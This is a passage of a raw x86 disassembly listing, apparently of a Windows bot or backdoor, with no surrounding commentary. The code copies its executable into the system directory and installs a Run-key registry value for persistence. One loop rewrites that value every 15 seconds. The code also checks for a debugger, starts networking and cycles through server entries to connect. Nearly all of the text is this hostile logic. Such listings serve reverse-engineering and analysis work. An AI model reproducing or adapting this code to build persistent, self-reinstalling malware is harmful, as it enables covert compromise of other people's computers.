					; sub_403EAD+6AFj
		push	23h
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		xor	esi, esi
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_42C]
		push	esi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_72C]

loc_4045C8:				; CODE XREF: sub_403EAD+4ABj
		push	esi

loc_4045C9:				; CODE XREF: sub_403EAD+357j
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		xor	ebx, ebx

loc_4045D4:				; CODE XREF: sub_403EAD+4DBj
		push	9
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	9
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	0Dh
		lea	eax, [ebp+var_54]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		mov	al, 1

loc_404603:				; CODE XREF: sub_403EAD+23Fj
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn	4
sub_403EAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404614	proc near		; CODE XREF: sub_403EAD+6D6p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 824h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset asc_4202C0 ; " "
		push	esi
		push	[ebp+arg_14]
		xor	ebx, ebx
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_4], ebx
		call	sub_40DFAE
		jmp	short loc_404673
; ---------------------------------------------------------------------------

loc_404639:				; CODE XREF: sub_404614+65j
		mov	eax, [ebp+var_4]
		push	offset aS_0	; "-s"
		push	edi
		mov	[ebp+eax*4+var_820], edi
		call	sub_40B187
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404665
		push	offset aS_1	; "/s"
		push	edi
		call	sub_40B187
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_404669

loc_404665:				; CODE XREF: sub_404614+3Ej
		mov	byte ptr [ebp+var_8], 1

loc_404669:				; CODE XREF: sub_404614+4Fj
		push	esi
		push	ebx
		call	sub_40DFAE
		inc	[ebp+var_4]

loc_404673:				; CODE XREF: sub_404614+23j
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		jnz	short loc_404639
		mov	esi, [ebp+arg_0]
		add	esi, 5
		push	esi
		push	[ebp+var_820]
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4046A4
		mov	ecx, [ebp+var_820]
		mov	eax, esi
		call	sub_40286F
		test	eax, eax
		jz	short loc_4046CA

loc_4046A4:				; CODE XREF: sub_404614+7Dj
		xor	eax, eax
		cmp	[ebp+var_4], ebx
		jle	short loc_4046C7
		mov	ecx, [ebp+var_4]
		dec	ecx

loc_4046AF:				; CODE XREF: sub_404614+B1j
		cmp	eax, ecx
		jz	short loc_4046C1
		mov	edx, [ebp+eax*4+var_81C]
		mov	[ebp+eax*4+var_820], edx

loc_4046C1:				; CODE XREF: sub_404614+9Dj
		inc	eax
		cmp	eax, [ebp+var_4]
		jl	short loc_4046AF

loc_4046C7:				; CODE XREF: sub_404614+95j
		dec	[ebp+var_4]

loc_4046CA:				; CODE XREF: sub_404614+8Ej
		cmp	byte ptr [ebp+var_8], bl
		jz	short loc_4046D2
		dec	[ebp+var_4]

loc_4046D2:				; CODE XREF: sub_404614+B9j
		mov	eax, [ebp+var_820]
		mov	cl, [eax]
		cmp	cl, byte_425008
		jnz	loc_404795
		push	eax
		call	sub_40C9B0
		push	eax
		mov	eax, [ebp+var_820]
		lea	ecx, [eax+1]
		push	ecx
		push	eax
		call	sub_40D4A0
		mov	eax, dword_433CA0
		mov	esi, [eax]
		mov	ebx, offset dword_433C9C
		mov	edi, ebx
		add	esp, 10h
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], edi

loc_404714:				; CODE XREF: sub_404614+153j
		test	edi, edi
		mov	eax, dword_433CA0
		mov	[ebp+var_14], eax
		jz	short loc_404724
		cmp	edi, ebx
		jz	short loc_404729

loc_404724:				; CODE XREF: sub_404614+10Aj
		call	sub_40D342

loc_404729:				; CODE XREF: sub_404614+10Ej
		cmp	esi, [ebp+var_14]
		jz	short loc_404795
		test	edi, edi
		jnz	short loc_404737
		call	sub_40D342

loc_404737:				; CODE XREF: sub_404614+11Cj
		cmp	esi, [edi+4]
		jnz	short loc_404741
		call	sub_40D342

loc_404741:				; CODE XREF: sub_404614+126j
		push	[ebp+var_820]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404769
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_10]
		call	sub_402D5F
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_10]
		jmp	short loc_404714
; ---------------------------------------------------------------------------

loc_404769:				; CODE XREF: sub_404614+140j
		cmp	esi, [edi+4]
		jnz	short loc_404773
		call	sub_40D342

loc_404773:				; CODE XREF: sub_404614+158j
		mov	ecx, [esi+8]
		mov	eax, [ecx]
		lea	edx, [ebp+var_820]
		push	edx
		mov	edx, [ebp+var_4]
		dec	edx
		push	edx
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	dword ptr [eax]

loc_404795:				; CODE XREF: sub_404614+CCj
					; sub_404614+118j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_404614	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40479C	proc near		; CODE XREF: sub_403805+39p
					; sub_403879+303p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_40], 0
		lea	edi, [ebp+var_3F]
		stosw
		stosb
		push	0Dh
		pop	ecx
		mov	esi, offset aQwertyuiopasdf ; "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJ"...
		lea	edi, [ebp+var_3C]
		rep movsd
		lea	eax, [ebp+var_48]
		push	eax
		movsb
		call	ds:off_41E1F8
		call	ds:dword_41E108	; GetTickCount
		mov	ecx, [ebp+var_44]
		mov	edx, [ebp+var_48]
		add	ecx, edx
		cmp	eax, ecx
		jb	short loc_4047E8
		add	ecx, eax
		jmp	short loc_4047EA
; ---------------------------------------------------------------------------

loc_4047E8:				; CODE XREF: sub_40479C+46j
		sub	ecx, eax

loc_4047EA:				; CODE XREF: sub_40479C+4Aj
		push	ecx
		call	sub_40D8F9
		pop	ecx
		push	23h
		push	0
		push	ebx
		call	sub_40CBA0
		add	esp, 0Ch
		push	offset asc_420484 ; "["
		push	22h
		pop	esi
		push	esi
		push	ebx
		call	sub_40CAE4
		add	esp, 0Ch
		push	ebx
		call	sub_40C9B0
		pop	ecx
		push	0
		push	4
		pop	ecx
		lea	edi, [ebp+var_40]
		mov	byte ptr [eax+ebx], 0
		call	sub_402966
		pop	ecx
		mov	eax, edi
		push	eax
		push	ebx
		mov	edi, offset aSS_1 ; "%s%s|"
		push	edi
		push	esi
		push	ebx
		call	sub_40CAE4
		add	esp, 14h
		push	ebx
		call	sub_40C9B0
		pop	ecx
		push	4
		mov	byte ptr [eax+ebx], 0
		lea	eax, [ebp+var_40]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	4
		lea	eax, [ebp+var_40]
		push	eax
		push	7
		push	800h
		call	ds:off_41E050
		lea	eax, [ebp+var_40]
		push	eax
		push	ebx
		push	edi
		push	esi
		push	ebx
		call	sub_40CAE4
		add	esp, 14h
		push	ebx
		call	sub_40C9B0
		pop	ecx
		mov	byte ptr [eax+ebx], 0
		call	sub_402B71
		test	al, al
		jz	short loc_4048A9
		push	ebx
		push	offset aSp	; "%sP|"
		push	esi
		push	ebx
		call	sub_40CAE4
		push	ebx
		call	sub_40C9B0
		add	esp, 14h
		mov	byte ptr [eax+ebx], 0

loc_4048A9:				; CODE XREF: sub_40479C+F1j
		call	sub_402AF2
		mov	eax, dword_4265FC
		mov	ecx, dword_4265F8
		xor	edi, edi
		cmp	eax, edi
		jg	short loc_4048D0
		jl	short loc_4048C6
		cmp	ecx, 0Ah
		jnb	short loc_4048D0

loc_4048C6:				; CODE XREF: sub_40479C+123j
		push	eax
		push	ecx
		push	ebx
		push	offset aS0I64u	; "%s0%I64u|"
		jmp	short loc_4048D8
; ---------------------------------------------------------------------------

loc_4048D0:				; CODE XREF: sub_40479C+121j
					; sub_40479C+128j
		push	eax
		push	ecx
		push	ebx
		push	offset aSI64u	; "%s%I64u|"

loc_4048D8:				; CODE XREF: sub_40479C+132j
		push	esi
		push	ebx
		call	sub_40CAE4
		push	ebx
		call	sub_40C9B0
		mov	byte ptr [eax+ebx], 0
		add	esp, 1Ch
		cmp	dword_425144, edi
		jle	short loc_40492A

loc_4048F4:				; CODE XREF: sub_40479C+18Cj
		call	sub_40D906
		push	31h
		pop	ecx
		xor	edx, edx
		div	ecx
		movsx	eax, [ebp+edx+var_3C]
		push	eax
		push	ebx
		push	offset aSC	; "%s%c"
		push	esi
		push	ebx
		call	sub_40CAE4
		add	esp, 14h
		push	ebx
		call	sub_40C9B0
		inc	edi
		mov	byte ptr [eax+ebx], 0
		cmp	edi, dword_425144
		pop	ecx
		jl	short loc_4048F4

loc_40492A:				; CODE XREF: sub_40479C+156j
		push	ebx
		push	offset aS_2	; "%s]"
		push	esi
		push	ebx
		call	sub_40CAE4
		push	ebx
		call	sub_40C9B0
		mov	ecx, [ebp+var_4]
		add	esp, 14h
		pop	edi
		mov	byte ptr [eax+ebx], 0
		xor	ecx, ebp
		mov	eax, ebx
		pop	esi
		call	sub_40AFEE
		leave
		retn
sub_40479C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404954	proc near		; CODE XREF: .text:0040E624p

var_770		= byte ptr -770h
var_75C		= dword	ptr -75Ch
var_744		= dword	ptr -744h
var_720		= dword	ptr -720h
var_6C8		= byte ptr -6C8h
var_540		= dword	ptr -540h
var_53C		= dword	ptr -53Ch
var_518		= byte ptr -518h
var_50C		= byte ptr -50Ch
var_50B		= byte ptr -50Bh
var_4FC		= byte ptr -4FCh
var_4F4		= byte ptr -4F4h
var_4F0		= byte ptr -4F0h
var_4EF		= byte ptr -4EFh
var_4EE		= byte ptr -4EEh
var_4ED		= byte ptr -4EDh
var_4EC		= byte ptr -4ECh
var_4D4		= byte ptr -4D4h
var_4BC		= byte ptr -4BCh
var_4B4		= byte ptr -4B4h
var_4B3		= byte ptr -4B3h
var_458		= byte ptr -458h
var_44C		= byte ptr -44Ch
var_43C		= byte ptr -43Ch
var_434		= byte ptr -434h
var_433		= byte ptr -433h
var_350		= byte ptr -350h
var_344		= byte ptr -344h
var_334		= byte ptr -334h
var_32C		= byte ptr -32Ch
var_32B		= byte ptr -32Bh
var_244		= byte ptr -244h
var_23C		= byte ptr -23Ch
var_23B		= byte ptr -23Bh
var_124		= byte ptr -124h
var_11C		= byte ptr -11Ch
var_11B		= byte ptr -11Bh
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 724h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+724h+var_4], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		push	offset aMessageboxa ; "MessageBoxA"
		push	offset aUser32_dll ; "user32.dll"
		mov	[esp+738h+var_720], eax
		mov	[esp+738h+var_4F0], 55h
		mov	[esp+738h+var_4EF], 8Bh
		mov	[esp+738h+var_4EE], 0ECh
		mov	[esp+738h+var_4ED], 81h
		mov	[esp+738h+var_4EC], 0ECh
		call	ds:off_41E0EC
		push	eax
		call	ds:off_41E0F0
		push	5
		lea	ecx, [esp+740h+var_4FC]
		push	ecx
		push	eax
		call	sub_40B323
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4049E7

loc_4049CE:				; CODE XREF: sub_404954+200j
					; sub_404954+22Bj ...
		mov	ecx, [esp+73Ch+var_10]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------

loc_4049E7:				; CODE XREF: sub_404954+78j
		call	sub_401B47
		test	al, al
		jnz	loc_404E3A
		call	ds:off_41E0C0
		test	eax, eax
		jnz	loc_404E3A
		mov	esi, offset aFu	; "--fu	"
		lea	edi, [esp+73Ch+var_4F4]
		movsd
		movsw
		mov	edi, 103h
		xor	ebx, ebx
		push	edi
		lea	eax, [esp+740h+var_11B]
		push	ebx
		push	eax
		mov	[esp+748h+var_11C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+740h+var_32B]
		push	ebx
		push	eax
		mov	[esp+748h+var_32C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+740h+var_433]
		push	ebx
		push	eax
		mov	[esp+748h+var_434], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	7Fh
		lea	eax, [esp+740h+var_4B3]
		push	ebx
		push	eax
		mov	[esp+748h+var_4B4], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+740h+var_11C]
		push	eax
		call	ds:dword_41E05C	; GetSystemDirectoryA
		push	80h
		lea	esi, [esp+748h+var_4BC]
		mov	ebx, offset byte_425081
		call	sub_401AD1
		pop	ecx
		mov	eax, esi
		push	eax
		lea	eax, [esp+748h+var_124]
		push	eax
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [esp+750h+var_43C]
		push	edi
		push	eax
		call	sub_40CAE4
		lea	eax, [esp+758h+var_43C]
		add	esp, 14h
		push	eax
		call	sub_40C9B0
		pop	ecx
		xor	ebx, ebx
		mov	[esp+eax+744h+var_43C],	bl
		mov	esi, 104h
		push	esi
		lea	eax, [esp+748h+var_334]
		push	eax
		push	ebx
		call	ds:dword_41E0E8	; GetModuleHandleA
		push	eax
		call	ds:dword_41E060	; GetModuleFileNameA
		lea	eax, [esp+754h+var_50C]
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	eax
		lea	eax, [esp+758h+var_50C]
		push	eax
		push	[esp+75Ch+var_744]
		call	sub_40B2C7
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404B84
		push	esi
		lea	eax, [esp+758h+var_44C]
		push	eax
		lea	eax, [esp+75Ch+var_344]
		push	eax
		call	sub_40B2C7
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404B84
		push	ebx
		lea	eax, [esp+758h+var_44C]
		push	eax
		lea	eax, [esp+75Ch+var_344]
		push	eax
		call	ds:off_41E080
		test	eax, eax
		jz	loc_4049CE
		lea	eax, [esp+760h+var_350]
		push	eax
		lea	eax, [esp+764h+var_518]
		push	eax
		lea	eax, [esp+768h+var_458]
		push	eax
		push	offset aSSS_0	; "%s %s%s"
		call	sub_4024ED
		add	esp, 10h
		jmp	loc_4049CE
; ---------------------------------------------------------------------------

loc_404B84:				; CODE XREF: sub_404954+1C8j
					; sub_404954+1E5j
		lea	eax, [esp+754h+var_50C]
		push	eax
		call	sub_40C9B0
		pop	ecx
		push	eax
		lea	eax, [esp+758h+var_50C]
		push	eax
		push	[esp+75Ch+var_744]
		call	sub_40B2C7
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_404C45
		push	esi
		lea	eax, [esp+758h+var_44C]
		push	eax
		lea	eax, [esp+75Ch+var_344]
		push	eax
		call	sub_40B2C7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404C45
		push	edi
		lea	eax, [esp+758h+var_23B]
		push	ebx
		push	eax
		mov	[esp+760h+var_23C], bl
		call	sub_40CBA0
		lea	eax, [esp+760h+var_50C]
		add	esp, 0Ch
		push	eax
		call	sub_40C9B0
		add	eax, [esp+758h+var_744]
		pop	ecx
		push	eax
		push	offset aS	; "%s"
		lea	eax, [esp+75Ch+var_23C]
		push	esi
		push	eax
		call	sub_40CAE4
		add	esp, 10h
		xor	edi, edi

loc_404C10:				; CODE XREF: sub_404954+2DDj
		lea	eax, [esp+754h+var_23C]
		push	eax
		call	ds:off_41E0D4
		test	eax, eax
		jnz	short loc_404C33
		push	0C8h
		call	ds:off_41E0FC
		inc	edi
		cmp	edi, 3
		jb	short loc_404C10

loc_404C33:				; CODE XREF: sub_404954+2CCj
		push	esi
		lea	eax, [esp+760h+var_244]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch

loc_404C45:				; CODE XREF: sub_404954+255j
					; sub_404954+276j
		push	80h
		lea	eax, [esp+760h+var_4D4]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	37h
		lea	eax, [esp+760h+var_50B]
		push	ebx
		push	eax
		mov	[esp+768h+var_50C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	38h
		lea	esi, [esp+760h+var_50C]
		mov	ebx, offset byte_4250A1
		call	sub_401AD1
		pop	ecx
		mov	eax, esi
		push	eax
		push	1
		xor	ebx, ebx
		push	ebx
		call	ds:off_41E084
		push	38h
		mov	esi, eax
		lea	eax, [esp+76Ch+var_518]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	1388h
		push	esi
		call	ds:off_41E07C
		cmp	eax, 102h
		jnz	short loc_404CC6
		push	ebx
		call	ds:off_41E090

loc_404CC6:				; CODE XREF: sub_404954+369j
		call	sub_4085A6
		call	sub_404E45
		push	8
		call	loc_40D430
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404CEF
		push	offset sub_404FAC
		xor	ecx, ecx
		mov	edi, offset aRm	; "RM"
		mov	esi, eax
		call	sub_408355

loc_404CEF:				; CODE XREF: sub_404954+386j
		lea	eax, [esp+774h+var_75C]
		push	eax
		mov	[esp+778h+var_75C], 94h
		call	ds:dword_41E068	; GetVersionExA
		cmp	[esp+778h+var_75C], 4
		mov	edi, offset byte_4202BD
		jz	short loc_404D28
		push	8
		call	loc_40D430
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404D28
		push	offset sub_401000
		xor	ecx, ecx
		mov	esi, eax
		call	sub_408355

loc_404D28:				; CODE XREF: sub_404954+3B8j
					; sub_404954+3C4j
		push	8
		mov	byte_426A20, bl
		call	loc_40D430
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404D48
		push	offset sub_4037A9
		xor	ecx, ecx
		mov	esi, eax
		call	sub_408355

loc_404D48:				; CODE XREF: sub_404954+3E4j
		lea	eax, [esp+778h+var_6C8]
		push	eax
		push	202h
		call	ds:dword_41E258	; WSAStartup
		test	eax, eax
		jnz	loc_404E2F
		call	sub_402C7B
		mov	byte_4339A5, bl
		call	sub_407F20
		mov	eax, [ebp+arg_0]
		mov	byte_426914, bl
		mov	dword_426704, eax
		call	sub_402F05
		mov	eax, dword_433CA0
		mov	eax, [eax]
		mov	ebx, offset dword_433C9C
		mov	[esp+780h+var_53C], eax
		mov	[esp+780h+var_540], ebx

loc_404DA0:				; CODE XREF: sub_404954+483j
		cmp	[esp+780h+var_540], 0
		mov	esi, dword_433CA0
		jz	short loc_404DB9
		cmp	[esp+780h+var_540], ebx
		jz	short loc_404DBE

loc_404DB9:				; CODE XREF: sub_404954+45Aj
		call	sub_40D342

loc_404DBE:				; CODE XREF: sub_404954+463j
		cmp	[esp+780h+var_53C], esi
		jz	short loc_404DD9
		lea	edi, [esp+780h+var_770]
		lea	esi, [esp+780h+var_540]
		call	sub_402D5F
		jmp	short loc_404DA0
; ---------------------------------------------------------------------------

loc_404DD9:				; CODE XREF: sub_404954+471j
		mov	edi, offset dword_426A1C

loc_404DDE:				; CODE XREF: sub_404954+4D9j
		push	2
		mov	esi, offset dword_424C38
		pop	ebx

loc_404DE6:				; CODE XREF: sub_404954+4D7j
		movsx	eax, word ptr [esi+100h]
		push	eax
		push	esi
		lea	edx, [esi-100h]
		mov	ecx, edi
		call	sub_403879
		test	al, al
		jz	short loc_404E12
		mov	byte_426A20, 1

loc_404E07:				; CODE XREF: sub_404954+4BCj
		mov	ecx, edi
		call	sub_403BD5
		test	al, al
		jnz	short loc_404E07

loc_404E12:				; CODE XREF: sub_404954+4AAj
		push	3A98h
		mov	byte_426A20, 0
		call	ds:off_41E0FC
		add	esi, 202h
		dec	ebx
		jnz	short loc_404DE6
		jmp	short loc_404DDE
; ---------------------------------------------------------------------------

loc_404E2F:				; CODE XREF: sub_404954+409j
		call	ds:dword_41E280	; WSACleanup
		jmp	loc_4049CE
; ---------------------------------------------------------------------------

loc_404E3A:				; CODE XREF: sub_404954+9Aj
					; sub_404954+A8j
		push	offset byte_4202BD
		call	sub_4026EE
		int	3		; Trap to Debugger
sub_404954	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=94h


sub_404E45	proc near		; CODE XREF: sub_404954+377p

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-94h]
		sub	esp, 114h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+94h+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, 100h
		push	edi
		call	sub_40AF26
		mov	esi, eax
		push	edi
		mov	[ebp+94h+var_110], esi
		call	sub_40AF26
		push	edi
		mov	[ebp+94h+var_108], eax
		call	sub_40AF26
		push	edi
		mov	[ebp+94h+var_114], eax
		call	sub_40AF26
		push	[ebp+94h+var_114]
		mov	[ebp+94h+var_10C], eax
		call	sub_40CA3B
		push	eax
		xor	ebx, ebx
		push	ebx
		push	[ebp+94h+var_114]
		call	sub_40CBA0
		push	[ebp+94h+var_10C]
		call	sub_40CA3B
		push	eax
		push	ebx
		push	[ebp+94h+var_10C]
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+94h+var_104]
		push	ebx
		push	eax
		call	sub_40CBA0
		push	esi
		call	sub_40CA3B
		add	esp, 40h
		push	eax
		push	ebx
		push	esi
		call	sub_40CBA0
		push	[ebp+94h+var_108]
		call	sub_40CA3B
		push	eax
		push	ebx
		push	[ebp+94h+var_108]
		call	sub_40CBA0
		push	esi
		call	sub_40CA3B
		push	eax
		mov	ebx, offset byte_4250C1
		call	sub_401AD1
		mov	esi, [ebp+94h+var_108]
		push	esi
		call	sub_40CA3B
		push	eax
		mov	ebx, offset byte_425081
		call	sub_401AD1
		mov	ebx, [ebp+94h+var_114]
		push	ebx
		call	sub_40CA3B
		add	esp, 30h
		dec	eax
		push	eax
		push	ebx
		call	ds:dword_41E05C	; GetSystemDirectoryA
		push	esi
		mov	esi, [ebp+94h+var_10C]
		push	ebx
		push	offset aSS_2	; "%s\\%s"
		push	esi
		call	sub_40CA3B
		pop	ecx
		dec	eax
		push	eax
		push	esi
		call	sub_40CAE4
		push	esi
		call	sub_40C9B0
		mov	byte ptr [eax+esi], 0
		push	edi
		lea	eax, [ebp+94h+var_104]
		push	eax
		push	[ebp+94h+var_110]
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	1
		call	sub_40518A
		add	esp, 2Ch
		test	al, al
		jz	short loc_404F6A
		lea	eax, [ebp+94h+var_104]
		push	eax
		push	esi
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404F75

loc_404F6A:				; CODE XREF: sub_404E45+113j
		push	esi
		push	[ebp+94h+var_110]
		call	sub_4051EF
		pop	ecx
		pop	ecx

loc_404F75:				; CODE XREF: sub_404E45+123j
		push	[ebp+94h+var_110]
		call	sub_40CC1A
		push	[ebp+94h+var_108]
		call	sub_40CC1A
		push	ebx
		call	sub_40CC1A
		push	esi
		call	sub_40CC1A
		mov	ecx, [ebp+94h+var_4]
		add	esp, 10h
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 94h
		leave
		retn
sub_404E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_404FAC	proc near		; DATA XREF: sub_404954+388o

var_504		= byte ptr -504h
var_404		= byte ptr -404h
var_403		= byte ptr -403h
var_304		= byte ptr -304h
var_303		= byte ptr -303h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_203]
		push	ebx
		push	eax
		mov	[ebp+var_204], bl
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp+var_403]
		push	ebx
		push	eax
		mov	[ebp+var_404], bl
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp+var_303]
		push	ebx
		push	eax
		mov	[ebp+var_304], bl
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp+var_103]
		push	ebx
		push	eax
		mov	[ebp+var_104], bl
		call	sub_40CBA0
		add	esp, 30h
		mov	edi, 100h

loc_405021:				; CODE XREF: sub_404FAC+185j
		push	edi
		lea	esi, [ebp+var_204]
		mov	ebx, offset byte_4250C1
		call	sub_401AD1
		push	edi
		lea	esi, [ebp+var_404]
		mov	ebx, offset byte_425081
		call	sub_401AD1
		pop	ecx
		pop	ecx
		mov	esi, 0FFh
		push	esi
		lea	eax, [ebp+var_304]
		push	eax
		call	ds:dword_41E05C	; GetSystemDirectoryA
		lea	eax, [ebp+var_404]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C9B0
		xor	ebx, ebx
		mov	[ebp+eax+var_104], bl
		push	edi
		lea	eax, [ebp+var_504]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	1
		call	sub_40518A
		add	esp, 2Ch
		test	al, al
		jz	short loc_4050C8
		lea	eax, [ebp+var_504]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4050DD

loc_4050C8:				; CODE XREF: sub_404FAC+101j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4051EF
		pop	ecx
		pop	ecx

loc_4050DD:				; CODE XREF: sub_404FAC+11Aj
		push	edi
		lea	eax, [ebp+var_304]
		push	ebx
		push	eax
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+var_104]
		push	ebx
		push	eax
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+var_204]
		push	ebx
		push	eax
		call	sub_40CBA0
		push	edi
		lea	eax, [ebp+var_404]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 3Ch
		push	3A98h
		call	ds:off_41E0FC
		jmp	loc_405021
sub_404FAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405136	proc near		; CODE XREF: sub_40140A+FFp
					; sub_4026EE+146p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41E004
		test	eax, eax
		jz	short loc_405169
		push	[ebp+var_4]
		call	ds:dword_41E010	; RegCloseKey
		xor	al, al

loc_405166:				; CODE XREF: sub_405136+4Ej
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_405169:				; CODE XREF: sub_405136+23j
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:dword_41E000	; RegDeleteValueA
		test	eax, eax
		jz	short loc_405186

loc_405179:				; CODE XREF: sub_405136+52j
		push	[ebp+var_4]
		call	ds:dword_41E010	; RegCloseKey
		mov	al, bl
		jmp	short loc_405166
; ---------------------------------------------------------------------------

loc_405186:				; CODE XREF: sub_405136+41j
		mov	bl, 1
		jmp	short loc_405179
sub_405136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


